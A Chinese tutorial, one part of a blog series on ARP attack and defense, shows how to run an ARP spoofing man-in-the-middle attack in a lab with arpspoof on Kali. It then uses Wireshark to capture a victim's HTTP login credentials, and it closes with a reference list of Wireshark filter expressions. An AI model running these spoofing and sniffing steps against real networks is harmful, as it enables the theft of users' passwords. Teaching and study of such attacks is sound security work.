ARP渗透与攻防(四)之WireShark截获用户数据
ARP-WireShark截获用户数据
系列文章
ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
1.WireShark工具介绍
wireshark的官方下载网站: WireShark
wireshark是非常流行的网络封包分析软件,功能十分强大。可以截取各种网络封包,显示网络封包的详细信息。
wireshark是开源软件,可以放心使用,可以运行在Windows,linux和Mac OS上。
环境准备
kali 作为ARP攻击机,IP地址:192.168.110.26
win10 作为被攻击方,IP地址:192.168.110.11
网关(路由器),IP地址:192.168.110.1
2.ARP攻击截获密码的步骤
1.kali开启数据包转发
echo 1 >> /proc/sys/net/ipv4/ip_forward
2.kali开启ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11
3.kali启动Wireshark
wireshark
4.WireShark输入过滤条件
(ip.src==192.168.110.11 or ip.dst==192.168.110.11) and tcp.port==80 and http
5.靶机登录后台系统
输入账户密码登录:
6.回到kali,wireshark寻找用户的登录信息
3.WireSahrk 过滤命令讲解
1.过滤源ip,目的ip
在wireshark的过滤规则框Filter中输入过滤条件。
如查找目的地址为192.168.110.11的包
ip.dst==192.168.110.11
查找源地址为1.1.1.1的包
ip.src==1.1.1.1
2.端口过滤
2.1把源端口和目的端口为80的都过滤出来
tcp.port==80
2.2只过滤目的端口为80的
tcp.dstport==80
2.3只过滤源端口为80的包
tcp.srcport==80
3.协议过滤
直接在Filter框中直接输入协议名即可滤
http
tcp
ssh
4.http模式过滤
4.1过滤get包
http.request.method=="GET"
4.2过滤post包
http.request.method=="POST"
5.过滤多种条件
用and连接,如过滤ip为192.168.110.11并且为http协议的
ip.src==192.168.110.11 and http